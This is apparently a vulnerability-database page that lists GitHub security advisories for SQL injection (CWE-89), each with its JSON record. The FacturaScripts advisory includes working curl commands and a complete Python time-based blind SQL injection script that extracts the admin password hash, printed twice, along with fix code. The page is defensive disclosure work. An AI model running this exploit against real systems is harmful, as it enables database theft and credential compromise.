CWE-89
AllowedImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
28101 vulnerabilities reference this CWE, most recent first.
GHSA-CJCG-HC25-X29F
Vulnerability from github – Published: 2022-10-07 18:16 – Updated: 2024-05-17 21:31B.C. Institute of Technology CodeIgniter <=3.1.13 is vulnerable to SQL Injection via system\database\DB_query_builder.php or_having() function.
{
"affected": [],
"aliases": [
"CVE-2022-40826"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-07T11:15:00Z",
"severity": "CRITICAL"
},
"details": "B.C. Institute of Technology CodeIgniter \u003c=3.1.13 is vulnerable to SQL Injection via system\\database\\DB_query_builder.php or_having() function.",
"id": "GHSA-cjcg-hc25-x29f",
"modified": "2024-05-17T21:31:40Z",
"published": "2022-10-07T18:16:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40826"
},
{
"type": "WEB",
"url": "https://github.com/bcit-ci/CodeIgniter/issues/6161"
},
{
"type": "WEB",
"url": "https://github.com/726232111/CodeIgniter3.1.13-SQL-Inject/blob/main/README.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CJCQ-X5C2-FQ6Q
Vulnerability from github – Published: 2022-05-14 03:20 – Updated: 2022-05-14 03:20The Ericsson-LG iPECS NMS A.1Ac login portal has a SQL injection vulnerability in the User ID and password fields that allows users to bypass the login page and execute remote code on the operating system.
{
"affected": [],
"aliases": [
"CVE-2018-9245"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-04-22T13:29:00Z",
"severity": "CRITICAL"
},
"details": "The Ericsson-LG iPECS NMS A.1Ac login portal has a SQL injection vulnerability in the User ID and password fields that allows users to bypass the login page and execute remote code on the operating system.",
"id": "GHSA-cjcq-x5c2-fq6q",
"modified": "2022-05-14T03:20:49Z",
"published": "2022-05-14T03:20:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-9245"
},
{
"type": "WEB",
"url": "https://gist.github.com/berkgoksel/99ba5c1f3f9f6e4e33e7ad966c007693"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/44515"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CJF9-HGP6-3H22
Vulnerability from github – Published: 2026-07-29 15:31 – Updated: 2026-07-29 15:31A Blind SQL injection vulnerability has been identified in Quick.CMS. Improper neutralization of input provided by a high-privileged user into multiple fields in administration panel allows for Blind SQL Injection attacks.
The vendor states that this administration panel already allows for significant modification capabilities. The SQL injection vulnerability primarily enables bypassing front-end validation controls and potential database destruction. Given the trust model in which this application is designed to be administered, remediation of this issue was not deemed necessary by the vendor.
This vulnerability has been found in version 6.8, but other versions might also be vulnerable.
{
"affected": [],
"aliases": [
"CVE-2026-33385"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-29T13:18:08Z",
"severity": "MODERATE"
},
"details": "A Blind SQL injection vulnerability has been identified in Quick.CMS. Improper neutralization of input provided by a high-privileged user into multiple fields in administration panel allows for Blind SQL Injection attacks.\n\nThe vendor states that this administration panel already allows for significant modification capabilities. The SQL injection vulnerability primarily enables bypassing front-end validation controls and potential database destruction. Given the trust model in which this application is designed to be administered, remediation of this issue was not deemed necessary by the vendor.\n\n\n\n\nThis vulnerability has been found in version 6.8, but other versions might also be vulnerable.",
"id": "GHSA-cjf9-hgp6-3h22",
"modified": "2026-07-29T15:31:11Z",
"published": "2026-07-29T15:31:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33385"
},
{
"type": "WEB",
"url": "https://cert.pl/posts/2026/07/CVE-2026-33385"
},
{
"type": "WEB",
"url": "https://opensolution.org/home.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-CJF9-JXRX-C3WR
Vulnerability from github – Published: 2022-09-13 00:00 – Updated: 2022-09-16 00:00A SQL injection vulnerability in ConnectionFactory.java in sazanrjb InventoryManagementSystem 1.0 allows attackers to execute arbitrary SQL commands via the parameters such as "username", "password", etc.
{
"affected": [],
"aliases": [
"CVE-2022-36259"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-12T04:15:00Z",
"severity": "HIGH"
},
"details": "A SQL injection vulnerability in ConnectionFactory.java in sazanrjb InventoryManagementSystem 1.0 allows attackers to execute arbitrary SQL commands via the parameters such as \"username\", \"password\", etc.",
"id": "GHSA-cjf9-jxrx-c3wr",
"modified": "2022-09-16T00:00:40Z",
"published": "2022-09-13T00:00:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36259"
},
{
"type": "WEB",
"url": "https://github.com/sazanrjb/InventoryManagementSystem/issues/14"
},
{
"type": "WEB",
"url": "https://gist.github.com/ziyishen97/47666f584cd4cdad1d0f6af5f33a56db"
},
{
"type": "WEB",
"url": "https://github.com/sazanrjb/InventoryManagementSystem"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CJFX-4949-9H9R
Vulnerability from github – Published: 2023-11-27 03:32 – Updated: 2023-11-27 03:32A vulnerability has been found in SourceCodester Loan Management System 1.0 and classified as critical. This vulnerability affects the function delete_borrower of the file deleteBorrower.php. The manipulation of the argument borrower_id leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-246136.
{
"affected": [],
"aliases": [
"CVE-2023-6310"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-27T02:15:43Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been found in SourceCodester Loan Management System 1.0 and classified as critical. This vulnerability affects the function delete_borrower of the file deleteBorrower.php. The manipulation of the argument borrower_id leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-246136.",
"id": "GHSA-cjfx-4949-9h9r",
"modified": "2023-11-27T03:32:09Z",
"published": "2023-11-27T03:32:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6310"
},
{
"type": "WEB",
"url": "https://github.com/joinia/webray.com.cn/blob/main/Loan-Management-System/lmssql%20-%20browser.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.246136"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.246136"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-CJFX-QHWM-HF99
Vulnerability from github – Published: 2026-02-03 18:14 – Updated: 2026-02-04 21:57Summary
FacturaScripts contains a critical SQL Injection vulnerability in the REST API that allows authenticated API users to execute arbitrary SQL queries through the sort parameter. The vulnerability exists in the ModelClass::getOrderBy() method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects all API endpoints that support sorting functionality.
Details
The FacturaScripts REST API exposes database models through various endpoints (e.g., /api/3/users, /api/3/attachedfiles, /api/3/customers). These endpoints support a sort parameter that allows clients to specify result ordering. The API processes this parameter through the ModelClass::all() method, which calls the vulnerable getOrderBy() function.
Vulnerable Code Locations
1. Legacy Models:
File: /Core/Model/Base/ModelClass.php
Method: getOrderBy()
Direct concatenation of keys and values from the $order array.
2. Modern Models (DbQuery):
File: /Core/DbQuery.php
Method: orderBy()
Lines: 255-259
// If it contains parentheses, it is not escaped (VULNERABILITY!)
if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
$this->orderBy[] = $field . ' ' . $order;
return $this;
}
This check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL Injection.
Proof of Concept (PoC)
Prerequisites
- Valid API authentication token (X-Auth-Token header)
- Access to FacturaScripts API endpoints
Step-by-Step Verification (CLI)
Since FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key.
1. Login and Retrieve a valid API key: We handle the CSRF token and session cookies to access the settings and retrieve the first available key.
# Login
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
-d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"
# Find the ID of the first existing API key
API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)
# Extract the API key string using its ID
API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
echo "Using API Key: $API_KEY"
2. Verify Time-Based SQL Injection:
Use the extracted API_KEY in the X-Auth-Token header.
# Normal request (baseline)
time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"
# Injected request (SLEEP payload in the sort key)
time curl -g -s -H "X-Auth-Token: $API_KEY" \
"http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"
Expected Result: The injected request will take significantly longer (delay depends on database records), confirming the SQL Injection.
Automated Exploitation Tool
This script automatically logs into FacturaScripts, retrieves a valid API key, and performs case-sensitive data extraction using time-based blind SQL Injection.
import requests
import time
import string
import re
# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
API_ENDPOINT = "/api/3/users"
session = requests.Session()
def get_token(url):
"""Extract multireqtoken from any page"""
res = session.get(url)
match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
return match.group(1) if match else None
def get_api_key():
"""Logs in and retrieves the first active API key dynamically"""
print(f"[*] Logging in as {USERNAME}...")
# 1. Login flow
token = get_token(f"{BASE_URL}/login")
if not token:
print("[!] Failed to get initial CSRF token")
return None
login_data = {
"fsNick": USERNAME,
"fsPassword": PASSWORD,
"action": "login",
"multireqtoken": token
}
res = session.post(f"{BASE_URL}/login", data=login_data)
if "Dashboard" not in res.text:
print("[!] Login failed!")
return None
print("[+] Login successful.")
# 2. Retrieve API Key ID from settings
print("[*] Accessing API settings...")
res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey")
id_match = re.search(r'EditApiKey\?code=(\d+)', res.text)
if not id_match:
print("[!] No API keys found in system!")
return None
api_id = id_match.group(1)
# 3. Get the actual API key string
print(f"[*] Retrieving API key for ID {api_id}...")
res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}")
key_match = re.search(r'name="apikey" value="([^"]+)"', res.text)
if not key_match:
print("[!] Failed to extract API key from page!")
return None
return key_match.group(1)
def time_based_sqli(api_key, payload):
"""Execute time-based SQL injection and measure response time"""
headers = {"X-Auth-Token": api_key}
params = {
'limit': 1,
f'sort[{payload}]': 'ASC'
}
start = time.time()
try:
requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10)
except requests.exceptions.ReadTimeout:
return 10.0
except:
pass
return time.time() - start
def extract_data(api_key, query, length=60):
"""Extracts data char by char using time-based blind SQLi"""
extracted = ""
charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"
print(f"[*] Starting extraction for query: {query}")
for i in range(1, length + 1):
found = False
for char in charset:
# Added BINARY to force case-sensitive comparison
payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
elapsed = time_based_sqli(api_key, payload)
if elapsed >= 2.0:
extracted += char
print(f"[+] Found char at pos {i}: {char} -> {extracted}")
found = True
break
if not found:
break
return extracted
def main():
print("="*60)
print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
print("="*60)
# 1. Get API Key dynamically
api_key = get_api_key()
if not api_key:
return
print(f"[+] Using API Key: {api_key}")
# 2. Verify vulnerability
print("[*] Verifying vulnerability...")
if time_based_sqli(api_key, "(SELECT SLEEP(2))") >= 2.0:
print("[+] System is VULNERABLE!")
else:
print("[-] System not vulnerable or API key invalid.")
return
# 3. Extract Admin Password Hash
admin_hash = extract_data(api_key, "SELECT password FROM users WHERE nick='admin'")
print(f"\n[!] FINAL ADMIN HASH: {admin_hash}")
if __name__ == "__main__":
main()
Impact
Data Confidentiality
- Complete database disclosure through blind SQL Injection techniques
- Extraction of sensitive data including:
- User credentials and API keys
- Customer PII (personal identifiable information)
- Financial records and transaction data
- Business intelligence and pricing information
- System configuration and secrets
Who is Impacted?
- Organizations using FacturaScripts API for integrations
- Mobile apps and third-party integrations using the API
- All users whose data is accessible via API
- Business partners with API access
Recommended Fix
Immediate Remediation
Option 1: Implement Strict Whitelist Validation (Recommended)
// File: Core/Model/Base/ModelClass.php
// Method: getOrderBy()
private static function getOrderBy(array $order): string
{
$result = '';
$coma = ' ORDER BY ';
// Get valid column names from model
$validColumns = array_keys(static::getModelFields());
foreach ($order as $key => $value) {
// Validate column name against whitelist
if (!in_array($key, $validColumns, true)) {
throw new \Exception('Invalid column name for sorting: ' . $key);
}
// Validate sort direction (must be ASC or DESC)
$value = strtoupper(trim($value));
if (!in_array($value, ['ASC', 'DESC'], true)) {
throw new \Exception('Invalid sort direction: ' . $value);
}
// Escape column name
$safeColumn = self::$dataBase->escapeColumn($key);
$result .= $coma . $safeColumn . ' ' . $value;
$coma = ', ';
}
return $result;
}
Option 2: Use Database Escaping Functions
private static function getOrderBy(array $order): string
{
$result = '';
$coma = ' ORDER BY ';
foreach ($order as $key => $value) {
// Escape identifiers and validate direction
$safeColumn = self::$dataBase->escapeColumn($key);
$safeDirection = in_array(strtoupper($value), ['ASC', 'DESC'])
? strtoupper($value)
: 'ASC';
$result .= $coma . $safeColumn . ' ' . $safeDirection;
$coma = ', ';
}
return $result;
}
Option 3: Use Query Builder Pattern
// Refactor to use prepared statements
public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array
{
$query = self::table();
// Apply WHERE conditions
foreach ($where as $condition) {
$query->where($condition);
}
// Apply ORDER BY with validation
foreach ($order as $column => $direction) {
if (!array_key_exists($column, static::getModelFields())) {
continue; // Skip invalid columns
}
$query->orderBy($column, $direction);
}
return $query->offset($offset)->limit($limit)->get();
}
API Security Best Practices
// Add to API configuration
$config = [
'max_sort_fields' => 3, // Limit number of sort fields
'allowed_sort_fields' => ['id', 'date', 'name'], // Whitelist
'default_sort' => 'id ASC', // Safe default
];
Credits
Discovered by: Łukasz Rybak
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "facturascripts/facturascripts"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2025.81"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25513"
],
"database_specific": {
"cwe_ids": [
"CWE-1286",
"CWE-20",
"CWE-89",
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-03T18:14:43Z",
"nvd_published_at": "2026-02-04T20:16:07Z",
"severity": "HIGH"
},
"details": "### Summary\n**FacturaScripts contains a critical SQL Injection vulnerability in the REST API** that allows authenticated API users to execute arbitrary SQL queries through the `sort` parameter. The vulnerability exists in the `ModelClass::getOrderBy()` method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects **all API endpoints** that support sorting functionality.\n\n---\n\n### Details\n\nThe FacturaScripts REST API exposes database models through various endpoints (e.g., `/api/3/users`, `/api/3/attachedfiles`, `/api/3/customers`). These endpoints support a `sort` parameter that allows clients to specify result ordering. The API processes this parameter through the `ModelClass::all()` method, which calls the vulnerable `getOrderBy()` function.\n\n#### Vulnerable Code Locations\n\n**1. Legacy Models:**\n**File:** `/Core/Model/Base/ModelClass.php`\n**Method:** `getOrderBy()`\nDirect concatenation of keys and values from the `$order` array.\n\n**2. Modern Models (DbQuery):**\n**File:** `/Core/DbQuery.php`\n**Method:** `orderBy()`\n**Lines:** 255-259\n```php\n // If it contains parentheses, it is not escaped (VULNERABILITY!)\n if (strpos($field, \u0027(\u0027) !== false \u0026\u0026 strpos($field, \u0027)\u0027) !== false) {\n $this-\u003eorderBy[] = $field . \u0027 \u0027 . $order;\n return $this;\n }\n```\nThis check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL Injection.\n\n---\n\n### Proof of Concept (PoC)\n\n#### Prerequisites\n- Valid API authentication token (X-Auth-Token header)\n- Access to FacturaScripts API endpoints\n\n#### Step-by-Step Verification (CLI)\n\nSince FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key.\n\n**1. Login and Retrieve a valid API key:**\nWe handle the CSRF token and session cookies to access the settings and retrieve the first available key.\n```bash\n# Login\nTOKEN=$(curl -s -L -c cookies.txt \"http://localhost:8091/login\" | grep -Po \u0027name=\"multireqtoken\" value=\"\\K[^\"]+\u0027 | head -n 1)\ncurl -s -b cookies.txt -c cookies.txt -X POST \"http://localhost:8091/login\" \\\n -d \"fsNick=admin\" -d \"fsPassword=admin\" -d \"action=login\" -d \"multireqtoken=$TOKEN\"\n\n# Find the ID of the first existing API key\nAPI_ID=$(curl -s -b cookies.txt \"http://localhost:8091/EditSettings?activetab=ListApiKey\" | grep -Po \u0027EditApiKey\\?code=\\K\\d+\u0027 | head -n 1)\n\n# Extract the API key string using its ID\nAPI_KEY=$(curl -s -b cookies.txt \"http://localhost:8091/EditApiKey?code=$API_ID\" | grep -Po \u0027name=\"apikey\" value=\"\\K[^\"]+\u0027 | head -n 1)\necho \"Using API Key: $API_KEY\"\n```\n\n**2. Verify Time-Based SQL Injection:**\nUse the extracted `API_KEY` in the `X-Auth-Token` header.\n```bash\n# Normal request (baseline)\ntime curl -g -s -H \"X-Auth-Token: $API_KEY\" \"http://localhost:8091/api/3/users?limit=1\"\n\n# Injected request (SLEEP payload in the sort key)\ntime curl -g -s -H \"X-Auth-Token: $API_KEY\" \\\n \"http://localhost:8091/api/3/users?limit=1\u0026sort[nick,(SELECT(SLEEP(3)))]=ASC\"\n```\n\n**Expected Result:** The injected request will take significantly longer (delay depends on database records), confirming the SQL Injection.\n\n---\n\n#### Automated Exploitation Tool\n\nThis script automatically logs into FacturaScripts, retrieves a valid API key, and performs case-sensitive data extraction using time-based blind SQL Injection.\n\n```python\nimport requests\nimport time\nimport string\nimport re\n\n# Configuration\nBASE_URL = \"http://localhost:8091\"\nUSERNAME = \"admin\"\nPASSWORD = \"admin\"\nAPI_ENDPOINT = \"/api/3/users\"\n\nsession = requests.Session()\n\ndef get_token(url):\n \"\"\"Extract multireqtoken from any page\"\"\"\n res = session.get(url)\n match = re.search(r\u0027name=\"multireqtoken\" value=\"([^\"]+)\"\u0027, res.text)\n return match.group(1) if match else None\n\ndef get_api_key():\n \"\"\"Logs in and retrieves the first active API key dynamically\"\"\"\n print(f\"[*] Logging in as {USERNAME}...\")\n \n # 1. Login flow\n token = get_token(f\"{BASE_URL}/login\")\n if not token:\n print(\"[!] Failed to get initial CSRF token\")\n return None\n \n login_data = {\n \"fsNick\": USERNAME,\n \"fsPassword\": PASSWORD,\n \"action\": \"login\",\n \"multireqtoken\": token\n }\n res = session.post(f\"{BASE_URL}/login\", data=login_data)\n if \"Dashboard\" not in res.text:\n print(\"[!] Login failed!\")\n return None\n print(\"[+] Login successful.\")\n\n # 2. Retrieve API Key ID from settings\n print(\"[*] Accessing API settings...\")\n res = session.get(f\"{BASE_URL}/EditSettings?activetab=ListApiKey\")\n id_match = re.search(r\u0027EditApiKey\\?code=(\\d+)\u0027, res.text)\n if not id_match:\n print(\"[!] No API keys found in system!\")\n return None\n \n api_id = id_match.group(1)\n \n # 3. Get the actual API key string\n print(f\"[*] Retrieving API key for ID {api_id}...\")\n res = session.get(f\"{BASE_URL}/EditApiKey?code={api_id}\")\n key_match = re.search(r\u0027name=\"apikey\" value=\"([^\"]+)\"\u0027, res.text)\n if not key_match:\n print(\"[!] Failed to extract API key from page!\")\n return None\n \n return key_match.group(1)\n\ndef time_based_sqli(api_key, payload):\n \"\"\"Execute time-based SQL injection and measure response time\"\"\"\n headers = {\"X-Auth-Token\": api_key}\n params = {\n \u0027limit\u0027: 1,\n f\u0027sort[{payload}]\u0027: \u0027ASC\u0027\n }\n start = time.time()\n try:\n requests.get(f\"{BASE_URL}{API_ENDPOINT}\", headers=headers, params=params, timeout=10)\n except requests.exceptions.ReadTimeout:\n return 10.0\n except:\n pass\n return time.time() - start\n\ndef extract_data(api_key, query, length=60):\n \"\"\"Extracts data char by char using time-based blind SQLi\"\"\"\n extracted = \"\"\n charset = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./\"\n \n print(f\"[*] Starting extraction for query: {query}\")\n for i in range(1, length + 1):\n found = False\n for char in charset:\n # Added BINARY to force case-sensitive comparison\n payload = f\"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)=\u0027{char}\u0027,SLEEP(2),nick))\"\n elapsed = time_based_sqli(api_key, payload)\n \n if elapsed \u003e= 2.0:\n extracted += char\n print(f\"[+] Found char at pos {i}: {char} -\u003e {extracted}\")\n found = True\n break\n if not found:\n break\n return extracted\n\ndef main():\n print(\"=\"*60)\n print(\" FacturaScripts Dynamic SQLi Exfiltration Tool\")\n print(\"=\"*60)\n\n # 1. Get API Key dynamically\n api_key = get_api_key()\n if not api_key:\n return\n print(f\"[+] Using API Key: {api_key}\")\n\n # 2. Verify vulnerability\n print(\"[*] Verifying vulnerability...\")\n if time_based_sqli(api_key, \"(SELECT SLEEP(2))\") \u003e= 2.0:\n print(\"[+] System is VULNERABLE!\")\n else:\n print(\"[-] System not vulnerable or API key invalid.\")\n return\n\n # 3. Extract Admin Password Hash\n admin_hash = extract_data(api_key, \"SELECT password FROM users WHERE nick=\u0027admin\u0027\")\n print(f\"\\n[!] FINAL ADMIN HASH: {admin_hash}\")\n\nif __name__ == \"__main__\":\n main()\n```\n\u003cimg width=\"862\" height=\"1221\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9bdf5342-a48f-47f3-a3aa-68e221624273\" /\u003e\n\n---\n\n### Impact\n\n#### Data Confidentiality\n- **Complete database disclosure** through blind SQL Injection techniques\n- Extraction of sensitive data including:\n - User credentials and API keys\n - Customer PII (personal identifiable information)\n - Financial records and transaction data\n - Business intelligence and pricing information\n - System configuration and secrets\n\n#### Who is Impacted?\n- **Organizations using FacturaScripts API** for integrations\n- **Mobile apps and third-party integrations** using the API\n- **All users whose data is accessible via API**\n- **Business partners with API access**\n\n---\n\n### Recommended Fix\n\n#### Immediate Remediation\n\n**Option 1: Implement Strict Whitelist Validation (Recommended)**\n\n```php\n// File: Core/Model/Base/ModelClass.php\n// Method: getOrderBy()\n\nprivate static function getOrderBy(array $order): string\n{\n $result = \u0027\u0027;\n $coma = \u0027 ORDER BY \u0027;\n\n // Get valid column names from model\n $validColumns = array_keys(static::getModelFields());\n\n foreach ($order as $key =\u003e $value) {\n // Validate column name against whitelist\n if (!in_array($key, $validColumns, true)) {\n throw new \\Exception(\u0027Invalid column name for sorting: \u0027 . $key);\n }\n\n // Validate sort direction (must be ASC or DESC)\n $value = strtoupper(trim($value));\n if (!in_array($value, [\u0027ASC\u0027, \u0027DESC\u0027], true)) {\n throw new \\Exception(\u0027Invalid sort direction: \u0027 . $value);\n }\n\n // Escape column name\n $safeColumn = self::$dataBase-\u003eescapeColumn($key);\n $result .= $coma . $safeColumn . \u0027 \u0027 . $value;\n $coma = \u0027, \u0027;\n }\n\n return $result;\n}\n```\n\n**Option 2: Use Database Escaping Functions**\n\n```php\nprivate static function getOrderBy(array $order): string\n{\n $result = \u0027\u0027;\n $coma = \u0027 ORDER BY \u0027;\n\n foreach ($order as $key =\u003e $value) {\n // Escape identifiers and validate direction\n $safeColumn = self::$dataBase-\u003eescapeColumn($key);\n $safeDirection = in_array(strtoupper($value), [\u0027ASC\u0027, \u0027DESC\u0027])\n ? strtoupper($value)\n : \u0027ASC\u0027;\n\n $result .= $coma . $safeColumn . \u0027 \u0027 . $safeDirection;\n $coma = \u0027, \u0027;\n }\n\n return $result;\n}\n```\n\n**Option 3: Use Query Builder Pattern**\n\n```php\n// Refactor to use prepared statements\npublic static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array\n{\n $query = self::table();\n\n // Apply WHERE conditions\n foreach ($where as $condition) {\n $query-\u003ewhere($condition);\n }\n\n // Apply ORDER BY with validation\n foreach ($order as $column =\u003e $direction) {\n if (!array_key_exists($column, static::getModelFields())) {\n continue; // Skip invalid columns\n }\n $query-\u003eorderBy($column, $direction);\n }\n\n return $query-\u003eoffset($offset)-\u003elimit($limit)-\u003eget();\n}\n```\n\n#### API Security Best Practices\n\n```php\n// Add to API configuration\n$config = [\n \u0027max_sort_fields\u0027 =\u003e 3, // Limit number of sort fields\n \u0027allowed_sort_fields\u0027 =\u003e [\u0027id\u0027, \u0027date\u0027, \u0027name\u0027], // Whitelist\n \u0027default_sort\u0027 =\u003e \u0027id ASC\u0027, // Safe default\n];\n```\n\n---\n\n### Credits\n\n**Discovered by:** \u0141ukasz Rybak",
"id": "GHSA-cjfx-qhwm-hf99",
"modified": "2026-02-04T21:57:11Z",
"published": "2026-02-03T18:14:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cjfx-qhwm-hf99"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25513"
},
{
"type": "WEB",
"url": "https://github.com/NeoRazorX/facturascripts/commit/1b6cdfa9ee1bb3365ea4a4ad753452035a027605"
},
{
"type": "PACKAGE",
"url": "https://github.com/NeoRazorX/facturascripts"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "FacturaScripts has SQL Injection in API ORDER BY Clause"
}
GHSA-CJG5-JJ7W-G8Q6
Vulnerability from github – Published: 2025-05-16 00:31 – Updated: 2025-05-16 00:31A vulnerability classified as critical has been found in itsourcecode Placement Management System 1.0. Affected is an unknown function of the file /edit_profile.php. The manipulation of the argument Name leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-4722"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-15T22:15:19Z",
"severity": "MODERATE"
},
"details": "A vulnerability classified as critical has been found in itsourcecode Placement Management System 1.0. Affected is an unknown function of the file /edit_profile.php. The manipulation of the argument Name leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-cjg5-jj7w-g8q6",
"modified": "2025-05-16T00:31:07Z",
"published": "2025-05-16T00:31:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4722"
},
{
"type": "WEB",
"url": "https://github.com/byxs0x0/cve/issues/4"
},
{
"type": "WEB",
"url": "https://itsourcecode.com"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.309024"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.309024"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.569951"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-CJGM-9QHJ-94WR
Vulnerability from github – Published: 2022-07-20 00:00 – Updated: 2022-07-28 00:00A vulnerability was found in SourceCodester Garage Management System 1.0 and classified as critical. This issue affects some unknown processing of the file /editbrand.php. The manipulation of the argument id leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2022-2468"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
